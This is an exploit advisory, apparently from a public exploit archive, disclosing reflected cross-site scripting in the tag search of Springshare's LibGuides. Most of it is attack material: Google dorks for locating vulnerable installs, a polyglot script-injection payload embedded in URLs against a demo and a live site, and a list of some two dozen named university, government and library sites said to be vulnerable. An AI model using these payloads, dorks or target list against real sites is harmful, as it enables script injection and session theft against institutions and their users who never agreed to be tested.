LibGuides Cross Site Scripting

`# Exploit Title: LibGuides "tag search" Cross Site Scripting  
# Date: 6.02.2012  
# Author: Sony  
# Software Link: http://www.springshare.com/libguides/  
# Google Dorks: inurl:searchtags.php?iid= or intext:Powered by Springshare  
# Web Browser : Mozilla Firefox  
# Blog : http://st2tea.blogspot.com  
# PoC:  
http://st2tea.blogspot.com/2012/02/libguides-tag-search-cross-site.html  
..................................................................  
  
Well, we have xss in tag search:  
  
Our xss code:  
  
http://codepad.org/LqL68vIQ  
  
http://demo.libguides.com/searchtags.php?iid=1&gid=0&tag=[our xss]  
  
Demo:  
  
http://demo.libguides.com/searchtags.php?iid=1&gid=0&tag=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
  
http://3.bp.blogspot.com/-XAKGO9fyl9M/Ty_1uQpsQWI/AAAAAAAAAaY/hUyfAjc-jQM/s1600/1a.JPG  
  
http://natolibguides.info/searchtags.php?iid=&tag=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
  
http://3.bp.blogspot.com/-egb8DXmjslE/Ty_11T58uzI/AAAAAAAAAak/g8TK9A238Tc/s1600/1b.JPG  
  
A lot of .edu,org,etc.. sites vuln to xss:  
  
inurl:searchtags.php?iid= site:edu  
  
http://infoguides.gmu.edu/searchtags.php?iid=&tag=  
http://libguides.sbuniv.edu/searchtags.php?iid=&tag=  
http://libguides.cabq.gov/searchtags.php?iid=&tag=  
http://libguides.metro.org/searchtags.php?iid=&tag=  
http://guides.lib.washington.edu/searchtags.php?iid=&tag=  
http://libguides.bc.edu/searchtags.php?iid=&tag=  
http://guides.lib.uchicago.edu/searchtags.php?iid=&tag=  
http://libguides.unm.edu/searchtags.php?iid=237&tag=  
http://guides.lib.uiowa.edu/searchtags.php?iid=&tag=  
http://researchguides.library.wisc.edu/searchtags.php?iid=&tag=  
http://guides.library.duke.edu/searchtags.php?iid=&tag=  
http://guides.hcl.harvard.edu/searchtags.php?iid=&tag=  
http://subjectguides.library.american.edu/searchtags.php?iid=&tag=  
http://libguides.uwlax.edu/searchtags.php?iid=&tag=  
http://libguides.sit.edu/searchtags.php?iid=&tag=  
http://libguides.princeton.edu/searchtags.php?iid=&tag=  
http://legalresearch.usfca.edu/searchtags.php?iid=&tag=  
http://libguides.hcc.hawaii.edu/searchtags.php?iid=&tag=  
http://researchguides.case.edu/searchtags.php?iid=&tag=  
http://guides.lib.virginia.edu/searchtags.php?iid=&tag=  
http://guides.library.manoa.hawaii.edu/searchtags.php?iid=&tag=  
http://libguides.mit.edu/searchtags.php?iid=148&tag=  
http://libguides.miami.edu/searchtags.php?iid=155&tag=  
http://libguides.olympic.edu/searchtags.php?iid=&tag=  
http://libguides.bodleian.ox.ac.uk/searchtags.php?iid=&tag=  
http://guides.slsa.sa.gov.au/searchtags.php?iid=&tag=  
  
  
..................................................................  
  
InSecurity.Ro  
  
Because we care, we're security aware!  
`